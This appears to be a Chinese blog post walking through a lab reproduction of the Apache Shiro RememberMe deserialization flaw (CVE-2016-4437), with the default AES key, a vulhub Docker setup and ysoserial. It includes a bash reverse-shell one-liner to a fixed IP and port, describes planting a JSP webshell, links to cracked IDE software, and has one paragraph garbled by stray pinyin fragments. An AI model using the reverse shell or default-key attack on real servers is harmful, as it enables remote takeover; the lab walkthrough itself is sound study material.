2021-02-03 Shiro序列化漏洞復現(xiàn)

shiro漏洞概述

Shiro提供了記住我(RememberMe)的功能,比如訪問如淘寶等一些網(wǎng)站時,關閉了瀏覽器下次再打開時還是能記住你是誰,下次訪問時無需再登錄即可訪問,但是設計到一些支付等敏感操作時,可能還需要再次驗證。

而shiro默認使用了CookieRememberMeManager接口,就是rememberme功能,。

其處理cookie的流程是: 得到rememberMe的cookie值,先進行Base64解碼,再進行AES解密,最后進行反序列化。

但是shiro本身有一個預設密鑰Base64.decode(“kPH bIxk5D2deZiIxcaaaA==”),漏洞的突破口也是這點,就導致了攻擊者可以構(gòu)造惡意數(shù)據(jù)造成反序列化的RCE漏洞。

攻擊者可以使用Shiro的默認密鑰偽造用戶Cookie,觸發(fā)Java反序列化漏洞,進而在目標機器上執(zhí)行任意命令

漏洞影響

Apache Shiro <= 1.2.4

事實上,只要rememberMe的AES加密密鑰泄露,無論shiro是什么版本都會導致反序列化漏洞。

shell反彈

https://blog.csdn.net/qq_33020901/article/details/78600382

bash -i >&/dev/tcp/192.168.190.138/6666 0>&1

對于速食主義者,后面的內(nèi)容可以選擇忽略

命令 解釋
bash -i 產(chǎn)生一個交互式bash
>& /dev/tcp/ip/port 建立TCP連接,并將標準輸出和錯誤重定向到TCP連接
0>&1 從TCP連接獲取輸入

java反射

1.反射機制

JAVA反射機制是在運行狀態(tài)中,對于任意一個類,都能夠知道這個類的所有屬性和方法;對于任意一個對象,都能夠調(diào)用它的任意一個方法和屬性;這種動態(tài)獲取的信息以及動態(tài)調(diào)用對象的方法的功能稱為java語言的反射機制。

反序列化bai顧名思義就是用二進duzhi的形式dao來生成文件,zhuan由于common-collections.jar幾乎在所有項目shu里都會dao被用到,所以當這個漏洞被發(fā)現(xiàn)并在這個jar包內(nèi)實現(xiàn)攻擊時,幾乎影響了一大批的項目,weblogic的中槍立刻提升了這個漏洞的等級(對weblogic不熟悉的可以百度)。
至于如何使用這個漏洞對系統(tǒng)發(fā)起攻擊,舉一個簡單的例子,我通過本地java程序?qū)⒁粋€帶有后門漏洞的jsp(一般來說這個jsp里的代碼會是文件上傳和網(wǎng)頁版的SHELL)序列化,將序列化后的二進制流發(fā)送給有這個漏洞的服務器,服務器會自動根據(jù)流反序列化的結(jié)果生成文件,然后就可以大搖大擺的直接訪問這個生成的JSP文件把服務器當后花園了

其他概念

  • 認證
  • 授權
  • 網(wǎng)站登陸身份驗證
  • Apache Shiro <=1.2.4版本中,加密的用戶信息序列化后存儲在名為remember-me的Cookie中。
  • 攻擊者可以使用Shiro的默認密鑰偽造用戶Cookie,觸發(fā)Java反序列化漏洞CVE-2016-4437,進而在目標機器上執(zhí)行任意命令。

其他環(huán)境準備

*idea破解版
https://www.jb51.net/softs/758790.html#downintro2

shiro漏洞后臺環(huán)境

docker-compose.yml

version: '2'
services:
 web:
   image: vulhub/shiro:1.2.4
   ports:
    - "8080:8080"

運行docker

docker-compose -f docker-compose.yml up

java序列化工具或者可以直接下載相應jar包使用

ysoserial
進到target文件路徑下,利用相關jar包來生成.ser序列化文件

最后編輯于
?著作權歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

相關閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容